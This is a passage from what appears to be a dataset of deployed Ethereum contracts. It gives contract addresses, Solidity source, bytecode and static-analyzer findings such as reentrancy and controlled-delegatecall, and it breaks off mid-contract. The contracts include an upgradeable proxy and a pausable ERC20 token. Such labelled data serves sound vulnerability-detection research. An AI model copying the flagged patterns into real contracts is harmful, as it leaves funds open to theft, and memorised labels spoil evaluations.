152608401610410565b6001600160a01b038216610c375760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610410565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610cfc5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610410565b6001600160a01b038216610d5e5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610410565b60008111610dc05760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610410565b6001600160a01b03831660009081526006602052604090205460ff1615610de657600080fd5b6001600160a01b03831660009081526005602052604090205460ff16158015610e2857506001600160a01b03821660009081526005602052604090205460ff16155b15610f7f576000600955600c54600a55600f546001600160a01b038481169116148015610e635750600e546001600160a01b03838116911614155b8015610e8857506001600160a01b03821660009081526005602052604090205460ff16155b8015610e9d5750600f54600160b81b900460ff165b15610eb157601054811115610eb157600080fd5b600f546001600160a01b038381169116148015610edc5750600e546001600160a01b03848116911614155b8015610f0157506001600160a01b03831660009081526005602052604090205460ff16155b15610f12576000600955600b54600a555b6000610f1d30610578565b600f54909150600160a81b900460ff16158015610f485750600f546001600160a01b03858116911614155b8015610f5d5750600f54600160b01b900460ff165b15610f7d57610f6b81611087565b478015610f7b57610f7b47610fc9565b505b505b610f8a83838361122c565b505050565b60008184841115610fb35760405162461bcd60e51b815260040161041091906118c0565b506000610fc08486611a0f565b95945050505050565b600d546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156108fa573d6000803e3d6000fd5b600060075482111561106a5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610410565b6000611074611237565b9050611080838261125a565b9392505050565b600f805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106110dd57634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561113157600080fd5b505afa158015611145573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061116991906116bd565b8160018151811061118a57634e487b7160e01b600052603260045260246000fd5b6001600160a01b039283166020918202929092010152600e546111b09130911684610b74565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac947906111e9908590600090869030904290600401611948565b600060405180830381600087803b15801561120357600080fd5b505af1158015611217573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b610f8a83838361129c565b6000806000611244611393565b9092509050611253828261125a565b9250505090565b600061108083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506113d3565b6000806000806000806112ae87611401565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506112e0908761145e565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461130f90866114a0565b6001600160a01b038916600090815260026020526040902055611331816114ff565b61133b8483611549565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161138091815260200190565b60405180910390a3505050505050505050565b6007546000908190670de0b6b3a76400006113ae828261125a565b8210156113ca57505060075492670de0b6b3a764000092509050565b90939092509050565b600081836113f45760405162461bcd60e51b815260040161041091906118c0565b506000610fc084866119d0565b600080600080600080600080600061141e8a600954600a5461156d565b925092509250600061142e611237565b905060008060006114418e8787876115c2565b919e509c509a509598509396509194505050505091939550919395565b600061108083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610f8f565b6000806114ad83856119b8565b9050838110156110805760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610410565b6000611509611237565b905060006115178383611612565b3060009081526002602052604090205490915061153490826114a0565b30600090815260026020526040902055505050565b600754611556908361145e565b60075560085461156690826114a0565b6008555050565b600080808061158760646115818989611612565b9061125a565b9050600061159a60646115818a89611612565b905060006115b2826115ac8b8661145e565b9061145e565b9992985090965090945050505050565b60008080806115d18886611612565b905060006115df8887611612565b905060006115ed8888611612565b905060006115ff826115ac868661145e565b939b939a50919850919650505050505050565b60008261162157506000610448565b600061162d83856119f0565b90508261163a85836119d0565b146110805760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610410565b803561169c81611a6d565b919050565b6000602082840312156116b2578081fd5b813561108081611a6d565b6000602082840312156116ce578081fd5b815161108081611a6d565b600080604083850312156116eb578081fd5b82356116f681611a6d565b9150602083013561170681611a6d565b809150509250929050565b600080600060608486031215611725578081fd5b833561173081611a6d565b9250602084013561174081611a6d565b929592945050506040919091013590565b60008060408385031215611763578182fd5b823561176e81611a6d565b946020939093013593505050565b6000602080838503121561178e578182fd5b823567ffffffffffffffff808211156117a5578384fd5b818501915085601f8301126117b8578384fd5b8135818111156117ca576117ca611a57565b8060051b604051601f19603f830116810181811085821117156117ef576117ef611a57565b604052828152858101935084860182860187018a101561180d578788fd5b8795505b838610156118365761182281611691565b855260019590950194938601938601611811565b5098975050505050505050565b600060208284031215611854578081fd5b813561108081611a82565b600060208284031215611870578081fd5b815161108081611a82565b60006020828403121561188c578081fd5b5035919050565b6000806000606084860312156118a7578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b818110156118ec578581018301518582016040015282016118d0565b818111156118fd5783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b818110156119975784516001600160a01b031683529383019391830191600101611972565b50506001600160a01b03969096166060850152505050608001529392505050565b600082198211156119cb576119cb611a41565b500190565b6000826119eb57634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611a0a57611a0a611a41565b500290565b600082821015611a2157611a21611a41565b500390565b6000600019821415611a3a57611a3a611a41565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461048d57600080fd5b801515811461048d57600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220b4c011152a5f24d6766a1396e62d3e2f21535fd4328234f8dc98eb3f085441d964736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
555
0xda3a932599abf754a9045a2c0013d323f1e1038a
// SPDX-License-Identifier: MIT pragma solidity ^0.6.0; /** * @title Proxy * @dev Implements delegation of calls to other contracts, with proper * forwarding of return values and bubbling of failures. * It defines a fallback function that delegates all calls to the address * returned by the abstract _implementation() internal function. */ abstract contract Proxy { /** * @dev Fallback function. * Implemented entirely in `_fallback`. */ fallback () payable external { _fallback(); } receive () payable external { _fallback(); } /** * @return The Address of the implementation. */ function _implementation() virtual internal view returns (address); /** * @dev Delegates execution to an implementation contract. * This is a low level function that doesn't return to its internal call site. * It will return to the external caller whatever the implementation returns. * @param implementation Address to delegate. */ function _delegate(address implementation) internal { assembly { // Copy msg.data. We take full control of memory in this inline assembly // block because it will not return to Solidity code. We overwrite the // Solidity scratch pad at memory position 0. calldatacopy(0, 0, calldatasize()) // Call the implementation. // out and outsize are 0 because we don't know the size yet. let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0) // Copy the returned data. returndatacopy(0, 0, returndatasize()) switch result // delegatecall returns 0 on error. case 0 { revert(0, returndatasize()) } default { return(0, returndatasize()) } } } /** * @dev Function that is run as the first thing in the fallback function. * Can be redefined in derived contracts to add functionality. * Redefinitions must call super._willFallback(). */ function _willFallback() virtual internal; /** * @dev fallback implementation. * Extracted to enable manual triggering. */ function _fallback() internal { if(OpenZeppelinUpgradesAddress.isContract(msg.sender) && msg.data.length == 0 && gasleft() <= 2300) // for receive ETH only from other contract return; _willFallback(); _delegate(_implementation()); } } /** * @title BaseUpgradeabilityProxy * @dev This contract implements a proxy that allows to change the * implementation address to which it will delegate. * Such a change is called an implementation upgrade. */ abstract contract BaseUpgradeabilityProxy is Proxy { /** * @dev Emitted when the implementation is upgraded. * @param implementation Address of the new implementation. */ event Upgraded(address indexed implementation); /** * @dev Storage slot with the address of the current implementation. * This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is * validated in the constructor. */ bytes32 internal constant IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; /** * @dev Returns the current implementation. * @return impl Address of the current implementation */ function _implementation() override internal view returns (address impl) { bytes32 slot = IMPLEMENTATION_SLOT; assembly { impl := sload(slot) } } /** * @dev Upgrades the proxy to a new implementation. * @param newImplementation Address of the new implementation. */ function _upgradeTo(address newImplementation) internal { _setImplementation(newImplementation); emit Upgraded(newImplementation); } /** * @dev Sets the implementation address of the proxy. * @param newImplementation Address of the new implementation. */ function _setImplementation(address newImplementation) internal { require(OpenZeppelinUpgradesAddress.isContract(newImplementation), "Cannot set a proxy implementation to a non-contract address"); bytes32 slot = IMPLEMENTATION_SLOT; assembly { sstore(slot, newImplementation) } } } /** * @title BaseAdminUpgradeabilityProxy * @dev This contract combines an upgradeability proxy with an authorization * mechanism for administrative tasks. * All external functions in this contract must be guarded by the * `ifAdmin` modifier. See ethereum/solidity#3864 for a Solidity * feature proposal that would enable this to be done automatically. */ contract BaseAdminUpgradeabilityProxy is BaseUpgradeabilityProxy { /** * @dev Emitted when the administration has been transferred. * @param previousAdmin Address of the previous admin. * @param newAdmin Address of the new admin. */ event AdminChanged(address previousAdmin, address newAdmin); /** * @dev Storage slot with the admin of the contract. * This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is * validated in the constructor. */ bytes32 internal constant ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103; /** * @dev Modifier to check whether the `msg.sender` is the admin. * If it is, it will run the function. Otherwise, it will delegate the call * to the implementation. */ modifier ifAdmin() { if (msg.sender == _admin()) { _; } else { _fallback(); } } /** * @return The address of the proxy admin. */ function admin() external ifAdmin returns (address) { return _admin(); } /** * @return The address of the implementation. */ function implementation() external ifAdmin returns (address) { return _implementation(); } /** * @dev Changes the admin of the proxy. * Only the current admin can call this function. * @param newAdmin Address to transfer proxy administration to. */ function changeAdmin(address newAdmin) external ifAdmin { require(newAdmin != address(0), "Cannot change the admin of a proxy to the zero address"); emit AdminChanged(_admin(), newAdmin); _setAdmin(newAdmin); } /** * @dev Upgrade the backing implementation of the proxy. * Only the admin can call this function. * @param newImplementation Address of the new implementation. */ function upgradeTo(address newImplementation) external ifAdmin { _upgradeTo(newImplementation); } /** * @dev Upgrade the backing implementation of the proxy and call a function * on the new implementation. * This is useful to initialize the proxied contract. * @param newImplementation Address of the new implementation. * @param data Data to send as msg.data in the low level call. * It should include the signature and the parameters of the function to be called, as described in * https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding. */ function upgradeToAndCall(address newImplementation, bytes calldata data) payable external ifAdmin { _upgradeTo(newImplementation); (bool success,) = newImplementation.delegatecall(data); require(success); } /** * @return adm The admin slot. */ function _admin() internal view returns (address adm) { bytes32 slot = ADMIN_SLOT; assembly { adm := sload(slot) } } /** * @dev Sets the address of the proxy admin. * @param newAdmin Address of the new proxy admin. */ function _setAdmin(address newAdmin) internal { bytes32 slot = ADMIN_SLOT; assembly { sstore(slot, newAdmin) } } /** * @dev Only fall back when the sender is not the admin. */ function _willFallback() virtual override internal { require(msg.sender != _admin(), "Cannot call fallback function from the proxy admin"); //super._willFallback(); } } interface IAdminUpgradeabilityProxyView { function admin() external view returns (address); function implementation() external view returns (address); } /** * @title UpgradeabilityProxy * @dev Extends BaseUpgradeabilityProxy with a constructor for initializing * implementation and init data. */ abstract contract UpgradeabilityProxy is BaseUpgradeabilityProxy { /** * @dev Contract constructor. * @param _logic Address of the initial implementation. * @param _data Data to send as msg.data to the implementation to initialize the proxied contract. * It should include the signature and the parameters of the function to be called, as described in * https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding. * This parameter is optional, if no data is given the initialization call to proxied contract will be skipped. */ constructor(address _logic, bytes memory _data) public payable { assert(IMPLEMENTATION_SLOT == bytes32(uint256(keccak256('eip1967.proxy.implementation')) - 1)); _setImplementation(_logic); if(_data.length > 0) { (bool success,) = _logic.delegatecall(_data); require(success); } } //function _willFallback() virtual override internal { //super._willFallback(); //} } /** * @title AdminUpgradeabilityProxy * @dev Extends from BaseAdminUpgradeabilityProxy with a constructor for * initializing the implementation, admin, and init data. */ contract AdminUpgradeabilityProxy is BaseAdminUpgradeabilityProxy, UpgradeabilityProxy { /** * Contract constructor. * @param _logic address of the initial implementation. * @param _admin Address of the proxy administrator. * @param _data Data to send as msg.data to the implementation to initialize the proxied contract. * It should include the signature and the parameters of the function to be called, as described in * https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding. * This parameter is optional, if no data is given the initialization call to proxied contract will be skipped. */ constructor(address _admin, address _logic, bytes memory _data) UpgradeabilityProxy(_logic, _data) public payable { assert(ADMIN_SLOT == bytes32(uint256(keccak256('eip1967.proxy.admin')) - 1)); _setAdmin(_admin); } function _willFallback() override(Proxy, BaseAdminUpgradeabilityProxy) internal { super._willFallback(); } } /** * @title InitializableUpgradeabilityProxy * @dev Extends BaseUpgradeabilityProxy with an initializer for initializing * implementation and init data. */ abstract contract InitializableUpgradeabilityProxy is BaseUpgradeabilityProxy { /** * @dev Contract initializer. * @param _logic Address of the initial implementation. * @param _data Data to send as msg.data to the implementation to initialize the proxied contract. * It should include the signature and the parameters of the function to be called, as described in * https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding. * This parameter is optional, if no data is given the initialization call to proxied contract will be skipped. */ function initialize(address _logic, bytes memory _data) public payable { require(_implementation() == address(0)); assert(IMPLEMENTATION_SLOT == bytes32(uint256(keccak256('eip1967.proxy.implementation')) - 1)); _setImplementation(_logic); if(_data.length > 0) { (bool success,) = _logic.delegatecall(_data); require(success); } } } /** * @title InitializableAdminUpgradeabilityProxy * @dev Extends from BaseAdminUpgradeabilityProxy with an initializer for * initializing the implementation, admin, and init data. */ contract InitializableAdminUpgradeabilityProxy is BaseAdminUpgradeabilityProxy, InitializableUpgradeabilityProxy { /** * Contract initializer. * @param _logic address of the initial implementation. * @param _admin Address of the proxy administrator. * @param _data Data to send as msg.data to the implementation to initialize the proxied contract. * It should include the signature and the parameters of the function to be called, as described in * https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding. * This parameter is optional, if no data is given the initialization call to proxied contract will be skipped. */ function initialize(address _admin, address _logic, bytes memory _data) public payable { require(_implementation() == address(0)); InitializableUpgradeabilityProxy.initialize(_logic, _data); assert(ADMIN_SLOT == bytes32(uint256(keccak256('eip1967.proxy.admin')) - 1)); _setAdmin(_admin); } } /** * Utility library of inline functions on addresses * * Source https://raw.githubusercontent.com/OpenZeppelin/openzeppelin-solidity/v2.1.3/contracts/utils/Address.sol * This contract is copied here and renamed from the original to avoid clashes in the compiled artifacts * when the user imports a zos-lib contract (that transitively causes this contract to be compiled and added to the * build/artifacts folder) as well as the vanilla Address implementation from an openzeppelin version. */ library OpenZeppelinUpgradesAddress { /** * Returns whether the target address is a contract * @dev This function will return false if invoked during the constructor of a contract, * as the code is not actually created until after the constructor finishes. * @param account address of the account to check * @return whether the target address is a contract */ function isContract(address account) internal view returns (bool) { uint256 size; // XXX Currently there is no better way to check if there is a contract in an address // than to check the size of the code at that address. // See https://ethereum.stackexchange.com/a/14016/36603 // for more details about how this works. // TODO Check this again before the Serenity release, because all addresses will be // contracts then. // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } }
0x6080604052600436106100745760003560e01c80638f2839701161004e5780638f2839701461016f578063cf7a1d77146101a2578063d1f5789414610261578063f851a4401461031757610083565b80633659cfe61461008b5780634f1ef286146100be5780635c60da1b1461013e57610083565b366100835761008161032c565b005b61008161032c565b34801561009757600080fd5b50610081600480360360208110156100ae57600080fd5b50356001600160a01b0316610371565b610081600480360360408110156100d457600080fd5b6001600160a01b0382351691908101906040810160208201356401000000008111156100ff57600080fd5b82018360208201111561011157600080fd5b8035906020019184600183028401116401000000008311171561013357600080fd5b5090925090506103ab565b34801561014a57600080fd5b50610153610458565b604080516001600160a01b039092168252519081900360200190f35b34801561017b57600080fd5b506100816004803603602081101561019257600080fd5b50356001600160a01b0316610495565b610081600480360360608110156101b857600080fd5b6001600160a01b0382358116926020810135909116918101906060810160408201356401000000008111156101ec57600080fd5b8201836020820111156101fe57600080fd5b8035906020019184600183028401116401000000008311171561022057600080fd5b91908080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525092955061054f945050505050565b6100816004803603604081101561027757600080fd5b6001600160a01b0382351691908101906040810160208201356401000000008111156102a257600080fd5b8201836020820111156102b457600080fd5b803590602001918460018302840111640100000000831117156102d657600080fd5b91908080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525092955061057f945050505050565b34801561032357600080fd5b5061015361065f565b6103353361068a565b801561033f575036155b801561034d57506108fc5a11155b156103575761036f565b61035f610690565b61036f61036a6106e8565b61070d565b565b610379610731565b6001600160a01b0316336001600160a01b031614156103a05761039b81610756565b6103a8565b6103a861032c565b50565b6103b3610731565b6001600160a01b0316336001600160a01b0316141561044b576103d583610756565b6000836001600160a01b031683836040518083838082843760405192019450600093509091505080830381855af49150503d8060008114610432576040519150601f19603f3d011682016040523d82523d6000602084013e610437565b606091505b505090508061044557600080fd5b50610453565b61045361032c565b505050565b6000610462610731565b6001600160a01b0316336001600160a01b0316141561048a576104836106e8565b9050610492565b61049261032c565b90565b61049d610731565b6001600160a01b0316336001600160a01b031614156103a0576001600160a01b0381166104fb5760405162461bcd60e51b81526004018080602001828103825260368152602001806108556036913960400191505060405180910390fd5b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f610524610731565b604080516001600160a01b03928316815291841660208301528051918290030190a161039b81610796565b60006105596106e8565b6001600160a01b03161461056c57600080fd5b610576828261057f565b61045383610796565b60006105896106e8565b6001600160a01b03161461059c57600080fd5b6105a5826107ba565b80511561065b576000826001600160a01b0316826040518082805190602001908083835b602083106105e85780518252601f1990920191602091820191016105c9565b6001836020036101000a038019825116818451168082178552505050505050905001915050600060405180830381855af49150503d8060008114610648576040519150601f19603f3d011682016040523d82523d6000602084013e61064d565b606091505b505090508061045357600080fd5b5050565b6000610669610731565b6001600160a01b0316336001600160a01b0316141561048a57610483610731565b3b151590565b610698610731565b6001600160a01b0316336001600160a01b0316141561036f5760405162461bcd60e51b81526004018080602001828103825260328152602001806108236032913960400191505060405180910390fd5b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5490565b3660008037600080366000845af43d6000803e80801561072c573d6000f35b3d6000fd5b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035490565b61075f816107ba565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d610355565b6107c38161068a565b6107fe5760405162461bcd60e51b815260040180806020018281038252603b81526020018061088b603b913960400191505060405180910390fd5b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5556fe43616e6e6f742063616c6c2066616c6c6261636b2066756e6374696f6e2066726f6d207468652070726f78792061646d696e43616e6e6f74206368616e6765207468652061646d696e206f6620612070726f787920746f20746865207a65726f206164647265737343616e6e6f742073657420612070726f787920696d706c656d656e746174696f6e20746f2061206e6f6e2d636f6e74726163742061646472657373a2646970667358221220e6fadd51b281dac9b5e7b119f723ec2de83d894bde920065b1c6ead1d5ab100c64736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "controlled-delegatecall", "impact": "High", "confidence": "Medium"}]}}
556
0xc570cc9b55ca7c1fc0cc7dc7d2bfba2810de3bff
pragma solidity ^0.5.0; /***************************************************************************** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. */ library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); uint256 c = a / b; return c; } } /***************************************************************************** * @dev Interface of the ERC20 standard as defined in the EIP. Does not include * the optional functions; to access them see `ERC20Detailed`. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a `Transfer` event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through `transferFrom`. This is * zero by default. * * This value changes when `approve` or `transferFrom` are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * > Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an `Approval` event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a `Transfer` event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to `approve`. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /***************************************************************************** * @dev Basic implementation of the `IERC20` interface. */ contract ERC20 is IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; /** * @dev See `IERC20.totalSupply`. */ function totalSupply() public view returns (uint256) { return _totalSupply; } /** * @dev See `IERC20.balanceOf`. */ function balanceOf(address account) public view returns (uint256) { return _balances[account]; } /** * @dev See `IERC20.transfer`. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public returns (bool) { _transfer(msg.sender, recipient, amount); return true; } /** * @dev See `IERC20.allowance`. */ function allowance(address owner, address spender) public view returns (uint256) { return _allowances[owner][spender]; } /** * @dev See `IERC20.approve`. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 value) public returns (bool) { _approve(msg.sender, spender, value); return true; } /** * @dev See `IERC20.transferFrom`. * * Emits an `Approval` event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of `ERC20`; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `value`. * - the caller must have allowance for `sender`'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) { _transfer(sender, recipient, amount); _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount)); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to `approve` that can be used as a mitigation for * problems described in `IERC20.approve`. * * Emits an `Approval` event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to `approve` that can be used as a mitigation for * problems described in `IERC20.approve`. * * Emits an `Approval` event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue)); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to `transfer`, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a `Transfer` event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a `Transfer` event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destoys `amount` tokens from `account`, reducing the * total supply. * * Emits a `Transfer` event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 value) internal { require(account != address(0), "ERC20: burn from the zero address"); _totalSupply = _totalSupply.sub(value); _balances[account] = _balances[account].sub(value); emit Transfer(account, address(0), value); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an `Approval` event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 value) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = value; emit Approval(owner, spender, value); } /** * @dev Destoys `amount` tokens from `account`.`amount` is then deducted * from the caller's allowance. * * See `_burn` and `_approve`. */ function _burnFrom(address account, uint256 amount) internal { _burn(account, amount); _approve(account, msg.sender, _allowances[account][msg.sender].sub(amount)); } } /***************************************************************************** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be aplied to your functions to restrict their use to * the owner. */ contract Ownable { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { _owner = msg.sender; emit OwnershipTransferred(address(0), _owner); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(isOwner(), "Ownable: caller is not the owner"); _; } /** * @dev Returns true if the caller is the current owner. */ function isOwner() public view returns (bool) { return msg.sender == _owner; } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } /** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. */ contract Pausable is Ownable { event Paused(); event Unpaused(); bool public paused = false; /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!paused); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() public onlyOwner whenNotPaused { paused = true; emit Paused(); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() public onlyOwner whenPaused { paused = false; emit Unpaused(); } } /** * @title Pausable token * @dev ERC20 modified with pausable transfers. **/ contract ERC20Pausable is ERC20, Pausable { function transfer(address to, uint256 value) public whenNotPaused returns (bool) { return super.transfer(to, value); } function transferFrom(address from, address to, uint256 value) public whenNotPaused returns (bool) { return super.transferFrom(from, to, value); } function approve(address spender, uint256 value) public whenNotPaused returns (bool) { return super.approve(spender, value); } function increaseAllowance(address spender, uint addedValue) public whenNotPaused returns (bool success) { return super.increaseAllowance(spender, addedValue); } function decreaseAllowance(address spender, uint subtractedValue) public whenNotPaused returns (bool success) { return super.decreaseAllowance(spender, subtractedValue); } } /***************************************************************************** * @title RottenToken * @dev RottenToken is an ERC20 implementation of the Rotten ecosystem token. * All tokens are initially pre-assigned to the creator, and can later be distributed * freely using transfer transferFrom and other ERC20 functions. */ contract RottenToken is Ownable, ERC20Pausable { string public constant name = "Rotten v2"; string public constant symbol = "ROTS"; uint8 public constant decimals = 18; uint256 public constant initialSupply = 24000000*10**uint256(decimals); /** * @dev Constructor that gives msg.sender all of existing tokens. */ constructor () public { _mint(msg.sender, initialSupply); } /** * @dev Destoys `amount` tokens from the caller. * * See `ERC20._burn`. */ function burn(uint256 amount) public { 